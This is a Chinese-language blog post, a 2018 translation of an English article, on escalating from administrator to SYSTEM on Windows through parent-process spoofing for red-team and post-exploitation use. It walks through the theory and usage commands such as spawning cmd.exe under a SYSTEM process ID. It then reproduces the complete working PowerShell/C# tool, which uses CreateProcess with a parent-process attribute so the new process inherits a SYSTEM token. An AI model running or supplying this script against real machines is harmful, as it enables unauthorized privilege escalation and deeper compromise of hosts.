利用Powershell获取System权限
作者:admin | 时间:2018-3-2 11:25:40 | 分类:黑客技术 隐藏侧边栏展开侧边栏
充当红队(红蓝对抗)或者渗透测试活动的时候,能努力获取系统的System权限总是咱们的终极目标。System用户是个特殊的系统操作用户,具备高权限,非常方便后渗透的技术施展。
当然,为获取System权限,你要么是administrators管理员组一员,要么使用一些特别的token窃取或伪造技术(例如:The lonely potato),要么通过一些未修补的漏洞利用等等姿势。
如果你有administrator 管理员权限,那么有一堆技术或者工具能帮你快速提权。最常用的估计就是来自Sysinternals出品大名鼎鼎的“psexec” , 当然也有其他的工具,譬如说基于命名管道或者令牌模拟的。我估摸着各位都用过meterpreter命令行下的“getsystem” 命令。
本文中我会告诉大家如何使用“父进程”技术。当然了,没啥新东西,我只是想通过简短精练的Powershell脚本就能实现一切功能。
先来灌输点理论知识:通常来说,当一个进程推出一个子进程,那么它本身就成为了子进程的父进程。然而从Windows Vista时代就可以通过技术手段去改变这个行为。如果我们创建一个新的进程,也设置为父进程属性,那么子进程将继承指定父进程的令牌。所以,如果我们创建一个新进程,把父进程的pid设置成具备System权限的进程,然后你懂的!
当然,为了能够从父进程句柄创建一个另外的进程,我们需要提示权限,通过采用管理员才有的seDebugPrivilege权限。当然得记住这个权限可用的条件是在已经提升特权的命令提示行下。使用下面命令验证一下:
PS>whoami /priv
上面讲完的理论知识,下面我们来结合Windows API实现我们的提权小目标。
首先我们需要在STARTUPINFO结构里创建一个属性,获取父System进程的句柄并且告知CreateProcess()去使用这些额外的信息。
使用C++或者C#应该相对简单,对powershell来说是个比较复杂的过程,所以我打算在我的my .ps1脚本里面嵌入C#。你知道的,可以从powershell里面执行C#代码。
脚本我已经开源到GitHub:https://github.com/decoder-it/psgetsystem (脚本已贴在文末)
在一个较高权限的Powershell命令行下执行:
PS> . .\psgetsys.ps1 PS> [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
我们也可以在脚本末尾增加“auto invoke” :
Add-Type -TypeDefinition $mycode [MyProcess]::CreateProcessFromParent($args[0],$args[1])
然后来引用它:
.\psgetsys.ps1 808 c:\windows\system32\cmd.exe
最后但同样重要问题:如果SeDebugPrivilege并没有开启怎么办?
翻译者:安识科技小王子
翻译原文:《Getting SYSTEM》 https://decoder.cloud/2018/02/02/getting-system/
脚本:
#Simple powershell/C# to spawn a process under a different parent process #usage: import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>) $mycode = @" using System; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; public class MyProcess { [DllImport("kernel32.dll")] [return: MarshalAs(UnmanagedType.Bool)] static extern bool CreateProcess( string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool UpdateProcThreadAttribute( IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize); [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool InitializeProcThreadAttributeList( IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList); [DllImport("kernel32.dll", SetLastError = true)] static extern bool CloseHandle(IntPtr hObject); [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] struct STARTUPINFOEX { public STARTUPINFO StartupInfo; public IntPtr lpAttributeList; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] struct STARTUPINFO { public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] internal struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES { public int nLength; public IntPtr lpSecurityDescriptor; public int bInheritHandle; } public static void CreateProcessFromParent(int ppid, string command) { const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; const uint CREATE_NEW_CONSOLE = 0x00000010; const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000; var pi = new PROCESS_INFORMATION(); var si = new STARTUPINFOEX(); si.StartupInfo.cb = Marshal.SizeOf(si); IntPtr lpValue = IntPtr.Zero; try { var lpSize = IntPtr.Zero; InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); si.lpAttributeList = Marshal.AllocHGlobal(lpSize); InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, ref lpSize); var phandle = Process.GetProcessById(ppid).Handle; lpValue = Marshal.AllocHGlobal(IntPtr.Size); Marshal.WriteIntPtr(lpValue, phandle); UpdateProcThreadAttribute( si.lpAttributeList, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpValue, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); var pattr = new SECURITY_ATTRIBUTES(); var tattr = new SECURITY_ATTRIBUTES(); pattr.nLength = Marshal.SizeOf(pattr); tattr.nLength = Marshal.SizeOf(tattr); Console.Write("Starting: " + command + "..."); var b= CreateProcess(command, null, ref pattr, ref tattr, false,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref si, out pi); Console.WriteLine(b); } finally { if (si.lpAttributeList != IntPtr.Zero) { DeleteProcThreadAttributeList(si.lpAttributeList); Marshal.FreeHGlobal(si.lpAttributeList); } Marshal.FreeHGlobal(lpValue); if (pi.hProcess != IntPtr.Zero) { CloseHandle(pi.hProcess); } if (pi.hThread != IntPtr.Zero) { CloseHandle(pi.hThread); } } } } "@ Add-Type -TypeDefinition $mycode #Autoinvoke? #MyProcess]::CreateProcessFromParent($args[0],$args[1])